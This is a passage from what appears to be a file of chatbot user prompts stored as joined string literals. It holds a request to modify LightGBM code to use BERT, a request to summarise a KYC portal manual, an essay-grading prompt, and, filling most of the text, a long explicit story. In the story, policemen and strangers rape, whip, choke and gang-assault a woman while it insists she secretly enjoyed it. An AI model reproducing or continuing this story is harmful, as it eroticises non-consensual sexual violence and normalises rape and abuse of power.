63}\nprint("Best parameters found: ", best\\_params)\n\n# Train the final model with the best parameters\nbest\\_gbm = LGBMClassifier(\\*\\*best\\_params, random\\_state=42)\n\n# K-fold cross-validation\nkf = StratifiedKFold(n\\_splits=5, random\\_state=42, shuffle=True)\nf1\\_scores = []\n\nfor train\\_index, val\\_index in tqdm(kf.split(X\\_train, y\\_train)):\n X\\_train\\_cv, X\\_val\\_cv = X\\_train[train\\_index], X\\_train[val\\_index]\n y\\_train\\_cv, y\\_val\\_cv = y\\_train[train\\_index], y\\_train[val\\_index]\n\n best\\_gbm.fit(X\\_train\\_cv, y\\_train\\_cv)\n preds = best\\_gbm.predict(X\\_val\\_cv)\n f1\\_scores.append(f1\\_score(y\\_val\\_cv, preds, average=\'weighted\'))\n\nprint("Average F1-score:", np.mean(f1\\_scores))\n\n# Train the final model\nbest\\_gbm.fit(X\\_train, y\\_train)\n\n# Generate predictions\npredictions = best\\_gbm.predict(X\\_test)\n\n# Create submission file\nsubmission = pd.DataFrame({"id": test["id"], "label": predictions})\nsubmission.to\\_csv("./data/sample\\_submission.csv", index=False)\nModify the entire code.\n- Use the BERT model.\n- Use a GPU.\n- Remove the stop words.\nBe careful to preserve and modify existing code.\nSplit the code into thirds and only output two parts.' +'hi - can you summarise this text: Introduction to BureauSuite:\nBureauSuite is Consumer Profile Bureau’s (CPB) online web portal for all related enquiries.\n\nAccess to the BureauSuite Portal\nLogin to the BureauSuite portal via the following URL: https://www.consumerprofilebureau.com/ \nThen click on the \n1. Click on the "Login" button on the menu bar available.\n2. Enter your current Login Details that were supplied to you by CPB and click on the "Bureau login" button.\n3. Once logged on, you will see your Name and Surname, Company Name and Permissible Purpose on the top righthand corner of the screen\n\nKYC Templates product description:\nKYC (Know Your Client / Customer) is customisable for each of our clients. This customization is then applied via TEMPLATES that WE (the KAM\'s or "Key Account Managers") design ourselves, after consultation with the client on what THEIR rules are and that they wish to have applied according how they interpret the FICA.\n\nMainly there is a procedural template AND/OR an OUTPUT template design. The Procedural template is applicable to ALL KYC while the OUTPUT template is only needed for clients that use KYC in batches.\n\nSections to consider during the template design phase with your client are:\nKYC Validation\nNames\nAddresses: Primary Source matching (only for batches)\nAddresses\nTelephones\nEmployers and\nEmails\nKYC Templates Benefits:\nEach client can easily be accommodated to their OWN specifications\n\\* Each client can have multiple templates and they can simply “apply” the one that is applicable for the job at hand/ or per department\n\\* The KYC environment is relatively fluid, adjustments and changes are easy and quick\n\\* Templates are named and thus easy identified – (integration has a Template number)\nData fields returned (on batches only) :\n\\* Either CSV or pdf output is a choice\n\\* Output fields may include, exclude or filter on some input fields to be returned of these are:\no Cost Centre\no Campaign Name \no Unique Reference number\no ID number\no Surname\no First Names\no Input Address\no Employer Name\no Cell Number\no Home Number\no Work Number\no Email Address\n\\* Name results \no Total Records\no First Name Results\no Surname Results\no Source Name\no Source Date\no Output ID Valid Flag\no Output Deceased Flag\no Output Minor Flag\no Output Fraud Flag\n\\* Address Results\no Total Records\no Line 1,2,3,4 and Post Code\no Address Type\no Max Score\no Source Name\no Source Date\no Match Type\no Include Latest Address (this, if set to yes, ignores any filters that are set – always returns the latest address)\n\\* PDF Footnote if any\nHow to create the KYC Procedure Template portion:\n\\* Most of the options are merely a “Yes”/ “No” pull down menu choice\n\\* For the KYC Validation section (these are for remediation only)\no Choose Yes or No for Names Must match\no Choose Yes or No for Address MUST match\n\n\\* For the Names:\no Choose Yes or No to Reject if ID is invalid (this is pre-set to Yes)\no Choose Yes or No for Reject if Minor/Child\no Choose Yes or No for Reject if Deceased\no Choose Yes or No for Reject if SAFPS (this is pre-set to Yes) (Please see the NOTE at the end of this manual on SAFPS specifics)\no Choose Yes or No for Use DHA Extra (this is pre-set to No)\no Choose Yes or No for SAFPS Perpetrators only (this is pre-set to No) (Please see the NOTE at the end of this manual on SAFPS specifics)\no Match Rules for sources – Three “fill” in with figures blocks with arrows to increase or decrease are to be chosen. \n\\* First is for Golden source(s)\nAND\n\\* Other Source(s)\nOR\n\\* Other Source(s)\n\nThe numbers you put in or click into these blocks reflect the “AMOUNT” of sources to be matched to succeed.\no Specify the Ranges for Golden Sources\nIn this section the minimum (Min) for (the choice block is BEFORE the choice)\n\\* months specification\n\\* Name Score\n\\* 2nd Name score and\n\\* Surname Score\n\nSpecify the Ranges for Other Sources just as per the Golden sources above.\no Manual Verification (only for batches) (DO NOT USE THIS – it is de-commissioned and will in a future version no longer be a choice here)\no Choose Yes or No for Allow maiden name match\no Choose Yes or No for Allow Initials match\no Choose Yes or No for Fore Names to Switch (pre-set to Yes) and then choose a Min swop score – (pre-set to zero)\no Type in sources to “Exclude Sources (comma Separated list)” Example is greyed out already filled in\n(It sometimes happens that clients want to EXCLUDE their OWN information that they submit as a source)\no Type in sources to “Include Sources (comma Separated list)” Example is greyed out already filled in\n(It sometimes happens that clients want to specifically want to include only specific sources those that their auditors accepted as valid sources to validate from)\n\n\\* For the Address Primary Source Matching (for batches only)\no Choose Yes or No for Only Allow Primary Sources\no Specify a “earliest” date of submission to allow into the “First Source Date (Submission) with a “amount of month old” fill in box. Note that Matches with addresses OLDER than those amount of months, will be ignored and hence will not allow to match even if it is identical and 100% scored.\n\n\\* For the Addresses\no Match Rules for sources – Three “fill” in with figures blocks with arrows to increase or decrease are to be chosen. \n\\* First is for Golden source(s)\nAND\n\\* Other Source(s)\nOR\n\\* Other Source(s)\n\nThe numbers you put in or click into these blocks reflect the “AMOUNT” of sources to be matched to succeed.\no Specify the Ranges for Golden Sources\n\\* Specify the minimum Months “age” allowed to be used to match and\n\\* Specify if any minimum score should be applied\nSimilarly specify if any Other Sources (and their ranges) are applicable\no Manual Verification (only for batches) (DO NOT USE THIS – it is de-commissioned and will in a future version no longer be a choice here)\no Choose Yes or No for Match Postal Address\no Choose Yes or No for Complex Number must Match\no Choose Yes or No for Street Number must Match\no Choose Yes or No for Street Name must Match\no Choose Yes or No for Suburb must Match\no Choose Yes or No for Allow informal Match (for informal addresses to match)\no Choose Yes or No for Allow Fuzzy Match (If this is set to Yes it almost cancels ALL of the above since if this is on, various possible false positives are possible (see the warning on screen): If selected then we will not be able to successfully match Complex and Street Names. In other words, a "allow fuzzy match" does not know/understand a specific part of the address belongs to a name, city, suburb, complex or street name. An address like "1 CHURCH COURT, CHURCH STREET" may match very well to an address like "11 CHURCH HILL, COURT STREET", two distinctly different addresses and may cause false positives.\no You can NOT change the pre-set input field “Informal/Fuzzy Number must match” which is automatically set to Yes – so you can ignore this input field\no Choose a Number between 60 and a 100 for the Informal/ Fuzzy score\no Type in sources to “Exclude Sources (comma Separated list)” Example is greyed out already filled in\n(It sometimes happens that clients want to EXCLUDE their OWN information that they submit as a source)\no Type in sources to “Include Sources (comma Separated list)” Example is greyed out already filled in\n(It sometimes happens that clients want to specifically want to include only specific sources those that their auditors accepted as valid sources to validate from)\n\n\\* For the Telephones\no Fill in (or click increase/decrease) the number of sources that much match before it may “pass as matched” in the Match rules for sources input. Note that this does NOT allow for differentiation between Golden sources and other sources (since there are strictly speaking no Golden sources for Telephone numbers).\no Fill in (or click increase/decrease) the amount of months into Ranges for Sources to determine how old/young a telephone number must be to be matched.\no Choose Yes or No for Telephone Number must Match\n\n\\* For Employers\no Fill in (or click increase/decrease) the number of sources that much match before it may “pass as matched” in the Match rules for sources input. Note that this does NOT allow for differentiation between Golden sources and other sources (since there are strictly speaking no Golden sources for Employers (we do not yet have access to Department of Labour who would be such a Golden Source).\no Fill in (or click increase/decrease) the amount of months into Ranges for Sources to determine how old/young an employer record must be to be matched.\no Choose Yes or No for Employer must Match\n\n\\* For Emails\no Fill in (or click increase/decrease) the number of sources that much match before it may “pass as matched” in the Match rules for sources input. Note that this does NOT allow for differentiation between Golden sources and other sources (since there are strictly speaking no Golden sources for Employers (we do not yet have access to Department of Labour who would be such a Golden Source).\no Fill in (or click increase/decrease) the number of months into Ranges for Sources to determine how old/young an employer record must be to be matched.\no Choose Yes or No for Employer must Match\n\nHow to create the KYC Output Template portion:\nThis template is for the output details\n\\* Most of the options are merely a “Yes”/ “No” pull down menu choice\n\\* For the Export details you need to indicate which output “type” you prefer\no Choose Yes or No for if you want your Export CSV\no Choose Yes or No for if you want your Export PDF\nIf you choose Yes for both, you would generate both – this may incur extra costs\n\n\\* For the input that needs to be ALSO reflected on the output\no Choose Yes or No for Cost Centre\no Choose Yes or No for Campaign Name\no Choose Yes or No for Unique Reference\no Choose Yes or No for ID Number\no Choose Yes or No for Surname\no Choose Yes or No for First Names\no Choose Yes or No for Input Address\no Choose Yes or No for Employer Name\no Choose Yes or No for Cell Number\no Choose Yes or No for Home Number\no Choose Yes or No for Work Number\no Choose Yes or No for Email Address\n\\* Name Results: Must these be included in the extract\no Insert (or click increase/decrease) the number of records to return\no Choose Yes or No for First Name Result\no Choose Yes or No for Surname Result\no Choose Yes or No for Source Name\no Choose Yes or No for Source Date\no Choose Yes or No for Output ID Valid Flag\no Choose Yes or No for Output Deceased Flag\no Choose Yes or No for Output Minor Flag\no Choose Yes or No for Output Fraud Flag\n\\* Address Results: Must these be included in the extract\no Insert (or click increase/decrease) the number of records to return\no Choose Yes or No for Line 1\no Choose Yes or No for Line 2\no Choose Yes or No for Line 3\no Choose Yes or No for Line 4\no Choose Yes or No for Post Code\no Choose Yes or No for Address Type\no Choose Yes or No for Max Score\no Choose Yes or No for Source Name\no Choose Yes or No for Source Date\no Choose Yes or No for Match Type\no Choose Yes or No for Address Latest Address (Do NOTE that if this is set to Yes, the output will ALWAYS return the latest address irrespective of any filters that are to the contrary)\n\n\\* For PDF specifics, specify the PDF Footnote or if none is to be defined, leave it at it’s pre-set “Array” input. Also note the note on the bottom of the screen.\n\nHow to access the Create KYC Templates:\n1. Once you logged on click or hover with your mouse pointer over the menu called KYC and then select the KYC Templates menu from the sub-menu that opens.\n\n2. Click on the tab called “Create New Template”\n\n3. Select from the “Template Type” field, either a “Consumer” type or a “Commercial” type template that you wish to create and click on the “Select Template” button to start.\n\n4. On the screen that opens, fill in \n\\* The template name – keep in mind that this is FIXED and cannot be changed afterwards\n\\* For remediation billing fill in the cost EITHER per batch – (this means that EACH batch will be charged at this FIXED cost – irrespective of ONE record or a million submitted) OR per individual (meaning per each individual record submitted this is the cost per each record)\n\nAnd then click on “Create Template” to create this.\n\nExporting your template:\n\nAfter any such template is created, to export this you would need to use the tab called “Existing Templates”\n\nYou need to search in the list below this for the name of YOUR template that you wish to export and once found, click on the right side (under the Actions-heading” on the “PDF”-button.\n\nThe pdf document will open on screen from where you can use any usual printing methods to produce the output you wish.\n\nOnline Support and Queries:\n\n\\* For online support you will need to click on the Support tab, then click on “Online Support”:\n\n\\* Complete the details required and click on at the left bottom corner of the form' +'The sub is wearing a short, tight skirt and a low-cut top, revealing her ample cleavage. She is standing on the street corner, looking nervous and desperate as she tries to attract the attention of passing men.\n\nTony, the degenerate policeman, watches from a distance, a twisted smile on his face. He knows that he has her trapped, and he relishes the thought of what he is going to do to her.\n\nHe approaches her, pretending to be a potential customer, and she quickly agrees to his offer. She gets into his car. As they drive to the secluded alley, Tony turns to the sub and grins wickedly. "You know what\'s going to happen when we get there, don\'t you?" he says, his voice low and menacing.\nThe sub nods, her eyes wide with fear and excitement. She knows that she is at Tony\'s mercy, and that he is going to do whatever he wants to her.\nWhen they arrive at the alley, Tony pulls her out of the car and pushes her against the wall. He rips off her clothes, leaving her naked and vulnerable. She tries to resist, but he is too strong, and she can only submit to his will.\nHe ties her hands behind her back and forces her to her knees, his eyes blazing with lust. He pulls out his cock and presses it against her lips, forcing her to suck him. She gags and struggles, but he only laughs and continues to dominate her.\n\nTony forced the slut\'s legs to spread wide, exposing her most intimate parts. He then began to whip her pussy with a fierce and relentless intensity, causing her to scream and writhe in pain and pleasure.\n"Oh, you like that, don\'t you, slut?" Tony sneered, relishing the sound of her moans and whimpers. "You want more, don\'t you? You want me to hurt you even more, don\'t you?"\nThe slut could only nod and beg for mercy, her body trembling with a mixture of fear and arousal. She knew that she was at Tony\'s mercy, and that he could do whatever he wanted to her.\nAnd Tony did just that. He continued to whip her pussy, increasing the intensity and speed of his strikes. He could see the wetness between her legs, and he knew that she was getting more and more turned on. But he refused to allow her to come, denying her the release that she craved.\n"You\'re such a dirty little whore," Tony sneered, his voice filled with disgust and contempt. "You want me to fuck you, don\'t you? You want me to make you cum, don\'t you?"\nThe slut could only nod and beg for more, her body completely under Tony\'s control. But Tony refused to let her come, knowing that by denying her release, he was keeping her at his mercy. And with a cruel and triumphant smile, he continued to torment her, enjoying her suffering and frustration.\nThe sub felt a mixture of fear, pain, and pleasure as she was used by Tony. She was terrified of him, knowing that he was an unethical and degenerate policeman who would stop at nothing to satisfy his twisted desires.\nAt the same time, she was also aroused by his dominance and power, and she found herself getting wet and horny as he forced her to submit to his will. She tried to resist, but she was no match for him, and she could only submit to his every command.\nAnd as he used her body for his own pleasure, she found herself reaching the brink of orgasm, her body trembling with desire. But Tony refused to let her come, denying her the release that she craved. He wanted her to be at his mercy, and he wanted her to suffer and beg for more.\nIn the end, she was left feeling used and humiliated, her body aching and sore from his rough treatment. She was at his mercy, and she knew that she would never be able to escape from his cruel and twisted world.\nThe sub felt a mix of shame and pleasure as she was used by Tony. She craved his rough treatment, and she enjoyed the way he dominated her and made her submit to his will. She came easily, and she squirted, her body trembling with orgasmic bliss.\nShe was so wet that her juices were dripping from in between her legs, and she could feel the wetness on her skin. She was ashamed of her desire for Tony, but she couldn\'t help the way she felt. She wanted to be punished, and she wanted him to use her in every way imaginable.\nBut she was too ashamed to admit any of this, and she kept her true feelings hidden from him. She pretended to be afraid and resistant, but deep down, she was secretly longing for more of his rough and dominant treatment.\n\nWhile waiting for the subway, the sub felt a mix of fear and arousal as she saw several men approach her. She knew that she was at their mercy, and that they could do whatever they wanted to her.\nOne of the men grabbed her and pulled her into an alley, where he unbuttoned her pants and began to fuck her hard. She screamed and cried, but no one listened, and she could only submit to his will.\nAnother man fondled her breasts, while another grinded on her from behind. She felt overwhelmed and confused, unsure of what was happening to her.\nWhen the train arrived, the men left her, and she stumbled onto the platform, feeling dazed and disoriented. She missed her stop, but she didn\'t care, as she was too focused on the men who had just used her body.\nAs she waited for the next train, a younger man approached her and pulled down her pants, exposing her to the other passengers. She screamed and cried, but no one intervened, and he began to fuck her right there on the platform.\nShe was used by several men, each taking their turn to use her body for their own pleasure. She felt degraded and humiliated, and she could only submit to their will. When they were finally finished, they left her there, alone and used, to face the consequences of her actions.\n\nThe other policemen were eager to join in on the fun, and they took turns insulting and degrading the sub. They called her names, and they made fun of her body. They laughed and sneered as they watched her squirm and cry.\nOne of the policemen approached her and grabbed her by the hair, pulling her head back and forcing her to look up at him. "You like being exposed and humiliated, don\'t you?" he said, his voice low and menacing.\nThe sub nodded, her eyes wide with fear and excitement. She loved being exposed and humiliated, and she craved the attention of the other policemen.\nAnother policeman stepped forward and grabbed her by the hips, pulling her towards him. "You\'re nothing but a dirty whore," he said, his voice filled with disgust. "You deserve to be used and abused."\nThe sub nodded again, feeling a mix of shame and pleasure. She knew that she was at the mercy of the policemen, and that they could do whatever they wanted to her. She submitted to their will, and she enjoyed every moment of her public humiliation.\n\nThe policemen forced the sub to sit on the Sybian, and they made her lean forward so that her clit was in direct contact with the extreme stimulation. She screamed and cried, but they showed no mercy, and they made her ride it until she was overwhelmed and in pain.\n"You deserve this," one of the policemen said, his voice filled with disgust. "You\'re nothing but a dirty whore, and you need to be taught a lesson."\n"Yeah, you\'re right," another policeman said, laughing. "She\'s just a piece of trash, and she needs to be punished."\nThe sub begged them to stop, but they ignored her pleas, and they continued to force her to ride the Sybian until she was completely exhausted. She was in a state of continuous clitoral orgasm, and she could do nothing but submit to their will.\n"Please, stop," she begged, her voice trembling with fear and desperation. "I can\'t take it anymore."\nBut the policemen only laughed, and they continued to watch her squirm and squirt all over the place. They were enjoying her discomfort and her embarrassment, and they were having a great time at her expense.\nIn the end, she collapsed on the Sybian, her body trembling and her mind in a daze. She was humiliated and degraded, but she was also strangely satisfied, and she craved more. She was a submissive at heart, and she enjoyed every moment of her public humiliation.\n\nThe sub was interrogated by the police in a small, dingy room. She was seated in a metal chair, her hands and feet shackled to the floor. The policemen loomed over her, sneering and leering as they asked her about the rollercoaster incident.\n"So, how did you like the ride, slut?" one of the policemen asked, his breath hot on her face.\nThe sub shuddered, feeling a mix of fear and arousal at the thought of being used by the men on the rollercoaster. She knew that she had no choice but to tell the truth.\n"It was...it was intense," she stammered, her voice shaking.\nThe policemen laughed, exchanging glances with each other. "Intense, huh? Did you like being used like that, slut?" another one asked, his hand moving to her knee.\nThe sub could feel her pulse racing as the men continued to interrogate her, asking her more and more explicit questions.\n\nThe sub looked down at her seat, her face flushed with embarrassment. "I...I don\'t know," she stammered.\nOne of the policemen sneered at her. "You don\'t know? You\'re saying you didn\'t feel those hands all over your body? You didn\'t enjoy it?"\nThe sub hung her head, tears streaming down her cheeks. "I...I didn\'t want it. I tried to stop it, but I couldn\'t move. Please, just let me go."\nThe other policeman leaned in closer to the sub. "You think you can just walk away from this? You disturbed the public and must be punished. Now tell us the truth. Did you like it?"\nThe sub took a deep breath, mustering up the courage to speak. "Yes," she whispered. "I liked it."\n\nThe policemen asked her to describe the ride.\nThe sub hesitates, unsure of how to answer. She knows that the ride was filled with fear and pain, but she also can\'t deny the excitement and pleasure she felt from being used by those men. She blushes deeply and looks away, not wanting to admit the truth to the policemen.\n"I...I don\'t know," she stammers, trying to avoid their gaze. "It was just a regular rollercoaster ride, nothing special."\nThe policemen exchange a look of disbelief, clearly not buying her excuse. "Come on now, we know what really happened on that ride. You were assaulted and humiliated, and yet you still seem to be enjoying yourself. Why is that?"\nThe sub\'s face burns with embarrassment and shame, but she knows that she can\'t lie to the policemen. She takes a deep breath and admits, "I...I liked it. I liked being used and humiliated. It made me feel...alive."\nThe policemen nod, satisfied with her confession. "That\'s what we thought. You are a degenerate and a slut, and you deserve to be punished for your actions. We\'ll make sure to put you in your place and teach you a lesson you\'ll never forget."\n\nThe policemen exchange some looks and smiled wickedly, enjoying the sub\'s discomfort. "Tell us more," one of them says, his voice low and menacing. "What did it feel like to be used like that?"\nThe sub shudders, her face flushed with shame and fear. "It was horrible," she admits, tears welling up in her eyes. "I felt so helpless and humiliated. I didn\'t want to be touched like that, but I couldn\'t stop them."\n"But did you enjoy it?" another policeman asks, his eyes gleaming with anticipation. "Did you like the feeling of being used and degraded?"\nThe sub hesitates, her mind racing. She knows that any answer she gives will only make things worse for her, but she also knows that lying to the police is a dangerous game. She takes a deep breath and speaks the truth.\n"Yes, I did enjoy it," she admits, her voice shaking. "It was painful and degrading, but it also felt good. I don\'t know why, but I can\'t deny it."\nThe policemen nod, satisfied with her answer. "Well, then," one of them says, his voice cold and calculating. "It seems like you\'re the perfect candidate for our little experiment. We\'re going to train you to be a better submissive, to be more obedient and willing to please. Are you ready to learn?"\nThe sub nods, her heart pounding in her chest. She knows that she has no choice but to go along with their plan, no matter how terrifying it may be. She braces herself for whatever comes next, hoping that she will be able to survive whatever horrors the policemen have in store for her.\n\nThe policemen exchange some looks and smiled wickedly, as they continue to interrogate the sub.\n"So, you enjoyed the ride, huh?" one of the policemen sneers. "Well, we have a special treat for you. We\'re going to give you a chance to ride it again, but this time, we\'re going to make sure you really feel it."\nThe sub\'s eyes widen in fear as the policemen grab her by the arms and drag her out of the room, heading towards the amusement park.\n"No, please, let me go!" the sub begs, but the policemen ignore her pleas.\nAs they approach the rollercoaster, the sub can see a group of men waiting for her. They are leering at her, and she can see the excitement in their eyes.\nThe policemen force her onto the rollercoaster and strap her in, making sure that she cannot move. The sub screams and cries as the ride begins to move, but the men only laugh and jeer at her.\nAs the ride reaches the top of the first hill, the men begin to touch and fondle her, making her squirm and whimper. The sub can feel them penetrating her, and she can do nothing to stop them.\nThe ride continues to twist and turn, and the sub can feel herself being used and abused by the men. She is helpless and powerless, and she knows that she is at their mercy.\nAs the ride finally comes to a stop, the sub is left gasping for breath, tears streaming down her face. She is humiliated and degraded, and she knows that this is only the beginning.\nThe policemen drag her off the ride and back to the interrogation room, where they continue to question her, laughing and jeering all the while.\nThe sub knows that she is trapped, and she can only pray for a way out. But she knows that she is doomed, and that her fate is sealed.\n\nThe policemen exchange some looks and smiled wickedly, clearly enjoying the sub\'s discomfort. One of them, a burly man with a thick mustache, leaned forward and asked, "So, how did you like the rollercoaster ride, huh? Was it fun being used and abused like that?"\nThe sub tried to hide her shame and embarrassment, but she could feel the heat rising to her cheeks. She didn\'t want to answer their questions, but she knew she had no choice. She was a criminal, after all, and they had the power to do whatever they wanted to her.\n"It was... um... it was okay, I guess," she stammered, trying to sound casual.\nThe burly man snorted. "Okay? That\'s all you have to say about it? You\'re a filthy little slut, aren\'t you? Admit it, you loved being used like that. You loved having those men\'s hands all over you, didn\'t you?"\nThe sub couldn\'t look him in the eye. She knew he was right, and she hated herself for it. She had enjoyed every moment of the rollercoaster ride, even though it had been degrading and painful. She had reveled in the feeling of being completely helpless and at the mercy of those men.\n"Yes," she whispered, tears streaming down her face. "I loved it."\nThe burly man grinned triumphantly, satisfied with her answer. "Good girl," he said, patting her on the head like a dog. "Now tell us, how did you get your seat so dirty? I bet it was from all that squirting, wasn\'t it?"\nThe sub blushed even deeper, feeling humiliated and exposed. She knew that the other policemen were watching her, judging her and laughing at her. She felt like a circus freak, on display for their entertainment.\n"Yes," she said, her voice barely audible. "I squirted all over the seat. I couldn\'t help it. It was so... so intense."\nThe burly man nodded, his eyes gleaming with excitement. "And how did it feel? Tell us all about it. We want to hear every detail."\nThe sub hesitated, unsure of what to say. She didn\'t want to give them the satisfaction of knowing how much she had enjoyed the ride. But she knew she had no choice. She was a prisoner, a slave to their whims and desires.\n"It felt... it felt amazing," she said, her voice trembling. "I\'ve never felt anything like it before. I... I came so many times, I lost count.\n\n"So, tell us more about the ride," one of them said, leaning in close to the sub.\nThe sub shuddered, feeling their hot breath on her skin. She knew that they were only interested in hearing about the dirty details, and she felt her body heat up with shame and excitement.\n"It was... intense," she stammered, trying to find the words to describe the experience. "I was strapped in and couldn\'t move, and then... these hands just started touching me."\n"Where did they touch you?" one of the policemen asked, his voice low and husky.\n"Everywhere," the sub replied, feeling her face flush with embarrassment. "They touched my legs, my chest, my... my private parts."\n"And did you like it?" another policeman asked, his eyes fixed on the sub\'s face.\nThe sub hesitated, not sure how to answer. She had enjoyed it, in a strange and twisted way, but she didn\'t want to admit it to these men.\n"I... I don\'t know," she said, looking down at her hands.\nThe policemen exchanged a look, and then one of them stood up, towering over the sub.\n"Well, we\'ll just have to find out for ourselves, won\'t we?" he said, grabbing her by the arm and pulling her to her feet.\n\nThe other policemen nodded in agreement, grinning as they surrounded the sub. One of them grabbed her by the hair, pulling her head back and forcing her to look at them.\n"You\'re going to tell us everything," he growled, his breath hot on her face. "We want to know every detail of what happened on that ride."\nThe sub whimpered, tears streaming down her face as she tried to wriggle free from their grasp. But they held her tight, their fingers digging into her flesh as they demanded answers.\n"Please, let me go," she begged, her voice shaking with fear. "I didn\'t do anything wrong."\nBut the policemen only laughed, their eyes gleaming with cruel amusement.\n"Oh, we know you did something wrong," one of them sneered, his breath reeking of alcohol. "And you\'re going to pay for it."\nThe sub\'s heart pounded in her chest as she realized that she was trapped, with no way to escape from their twisted game. She could only pray that someone would come to her rescue before it was too late.\n\nFinally, the head of the police department arrived at the mess. Unfortunately, he was not coming to her rescue.\nHe sneered at the sub as she stood trembling before him, her clothes torn and her body covered in sweat and dirt. "You are a disgrace," he spat out. "You have brought shame upon the entire police department with your disgusting behavior."\nThe other policemen nodded in agreement, jeering and taunting the sub as she stood there, helpless and humiliated.\n"You will be punished for your crimes," the head of the department continued. "We will make sure that you never forget the consequences of your actions."\nThe sub knew that there was no escaping her fate. She had been caught and there was no way out. She could only pray that the punishment would be over soon.\nThe head of the police department looked at the sub with disgust and disdain. "You have caused a public disturbance and have brought shame to this department," he said sternly. "As punishment, you will be stripped naked and whipped in front of everyone until you are sufficiently punished for your actions."\n\nThe head of the police department stood in front of the sub, a smug look on his face. "You thought you could get away with breaking the law, huh?" he said, sneering at her. "Well, let me tell you something, you\'re going to be punished for your actions. And I\'m going to make sure it\'s a punishment you\'ll never forget."\nThe other policemen grinned, eager to see how the head would punish the sub. They knew he was an expert at making people suffer, and they couldn\'t wait to see what he had in store for her.\nThe head walked over to the sub, a wicked smile on his face. "Take off your clothes," he commanded, and the sub hesitated for a moment before reluctantly obeying. She stripped off her clothes, revealing her naked body to the group of leering men.\nThe head walked over to her, his eyes taking in her naked form. He reached out and grabbed her by the hair, pulling her head back to expose her neck. "You\'re going to be punished for your crimes," he whispered in her ear, his breath hot on her skin. "And I\'m going to make sure it\'s a punishment you\'ll never forget."\nHe pushed her down onto her knees, and the other policemen cheered and clapped as he began to administer her punishment. He started by spanking her, making her cry out in pain as his hand came down on her bare skin. Then he moved on to using a whip, lashing her back and buttocks until she was covered in welts and bruises.\nFinally, when she was covered in welts and bruises, he decided it was time to give her the ultimate punishment. He grabbed a dildo and forced it into her mouth, making her gag as he thrust it deep down her throat. She couldn\'t breath, and tears streamed down her face as she tried to free herself from his grip.\nThe head of the police department continued to use the dildo on the sub, making her gag and choke as he forced it down her throat. She tried to resist, but he was too strong for her. He laughed as he saw the fear in her eyes, enjoying the power he held over her.\nAfter several minutes, he finally pulled the dildo out of her mouth, leaving her gasping for air. He then turned to the other policemen, a wicked smile on his face. "Well boys, looks like we have a little slut here who needs to be taught a lesson," he said, gesturing to the sub.\nThe other policemen cheered, excited at the prospect of punishing the sub. They all surrounded her, eager to do their part in making her suffer. They tied her up and gagged her, making it impossible for her to scream for help. Then, one by one, they took turns using her body for their own pleasure, enjoying the way she squirmed and struggled against her restraints.\nIn the end, the sub was left bruised and broken, humiliated and used by the entire police department. She had no choice but to accept her punishment, knowing that she would never be able to escape from their grasp.\n\nThe head of the police department grinned wickedly as he watched the slut struggle against the dildo. He knew that she would never be able to escape from his clutches, and he relished the thought of making her suffer even more.\n"You see, my dear," he said, leaning in close to her ear. "You are nothing but a criminal, and you deserve to be punished. And I am the one who will be doing the punishing."\nHe reached into his pocket and pulled out a pair of handcuffs, snapping them onto her wrists. He then forced her to her knees, pushing her head down onto the floor.\n"Now, you will do exactly as I say," he growled, his voice full of malice. "Or I will make sure that you suffer even more than you already have."' +'How well does this [response] answer the [prompt]? \n\n[prompt] =\n[\nCURRICULUM INITIATIVE\nThe Application Assignment for EDL 527 is a culmination of the content knowledge gained as a result of the Candidate’s participation in this course. It demonstrates the Candidate’s ability to synthesize knowledge about evaluating and initiating curriculum improvement and culturally responsive curriculum, working with teachers to improve curriculum, and using MTSS frameworks to promote effective problem solving and intervention strategies. The Application Assignment will consist of small group work AND an individual written assignment (8 – 10 pages double spaced, NOT inclusive of cover page and references) The small group work involves a presentation explained below. \n \nThe Scenario is as follows: \nDuring this course you will take the role of a principal wanting to implement a curriculum initiative in your school. You will establish a process to identify the curriculum initiative appropriate for your school, research the initiative, develop an implementation process including needed resources and a budget for implementation, organization of professional development needed and strategies to present the initiative to the superintendent’s cabinet. \nStep 1: In a small group you will identify a curriculum initiative that aligns with the district vision and mission for student achievement. This curricular initiative should address a school-wide need for improving student achievement. Consider the following:\n1. What decision making processes would you use to determine the greatest areas of need and to choose a curricular initiative that would address the need? How will you collaborate with building and district leaders and stakeholders to make this determination?\n2. What school-wide need is being addressed with this curriculum initiative?\n3. How does this curricular initiative address the needs of diverse learners?\n4. What professional development will be necessary to ensure that all instructional staff implement the initiative with fidelity?\n5. What standards-based assessment systems will be used to determine the effectiveness of the curricular initiative?\n6. How will the data gathered from the assessments be used to inform internal and external audiences about the effectiveness of the curricular initiative? \nStep 2: Together as a group you will brainstorm the process you would use as a district administrator to effectively implement the initiative and develop a budget and list of resources needed to implement the plan. Address the following items/questions in your discussion:\nCreate an Action Plan with a step-by-step process for implementation of the initiative. Include a timeline (including a sustainability component) with your Action Plan. \nWhat are the costs associated with purchasing the program materials?\nWhat are the costs associated with professional development needed to support the program?\nWhat additional human resources (if any) are necessary to create or customize the programs to meet the needs of each school?\nWhat additional fiscal and human resources will be needed to attend to the creation and monitoring of standards-based assessment data?\nStep 3: Put yourself in the role of the principal and address the following items/questions in your discussion:\nHow do you envision the role of principal in collaborating with the director of curriculum and instruction in determining curricular programming needs for your school? That is, how would you advocate for the needs of your school?\nWhat types of individualization or customization could you envision needing or requesting for your building regarding the curricular program chosen by your group?\nHow will you support your staff with professional development and resources as they learn the new program and figure out how to manage the standards-based assessment processes? \nHow will you “roll out” the program to your staff? How do you envision your building timeline aligning to the district Action Plan and timeline? \nWhat are some ideas for cultivating support for the program and addressing resistors among staff and parents? \nHow will you ensure that the program meets the needs of a diverse population of learners?\n \nStep 4: In class your group will present the plan to the superintendent and his/her cabinet in preparation for presentation to a school board. Be sure to include:\nThe need for the program (use data to show need)\nThe resources necessary to implement the program (human and fiscal)\nThe Action Plan, including timeline, for implementation of the program (include professional development and support systems that will be made available district-wide)\nDiscuss the ways that the program will benefit a diverse population of learners\nDiscuss the assessment process that will be used to determine the effectiveness of the program\nDiscuss the timeline for “reporting out” to the board and community on the progress and effectiveness of the program\n \n \n\n]\n[response] =\n[ Introduction\nHigh school mathematics education is often viewed as dull and disconnected from students\' lives outside the classroom. This approach can result in students missing the connections between mathematics and their daily lives, leading them to undervalue the importance of mathematics in their future careers and democratic participation. This trend of mathematical illiteracy is particularly prevalent among Black, Latino, and Indian populations. To address this issue, this paper proposes a curriculum initiative that focuses on Culturally Responsive Teaching in Mathematics to improve student achievement and promote the use of mathematics in post-high school careers.\nThe Issue of Mathematical Illiteracy\nMathematical illiteracy can be attributed to "number numbness," a view that mathematics is only relevant in math classes and is not important to students\' lives outside the classroom (Peterson, 2006). This 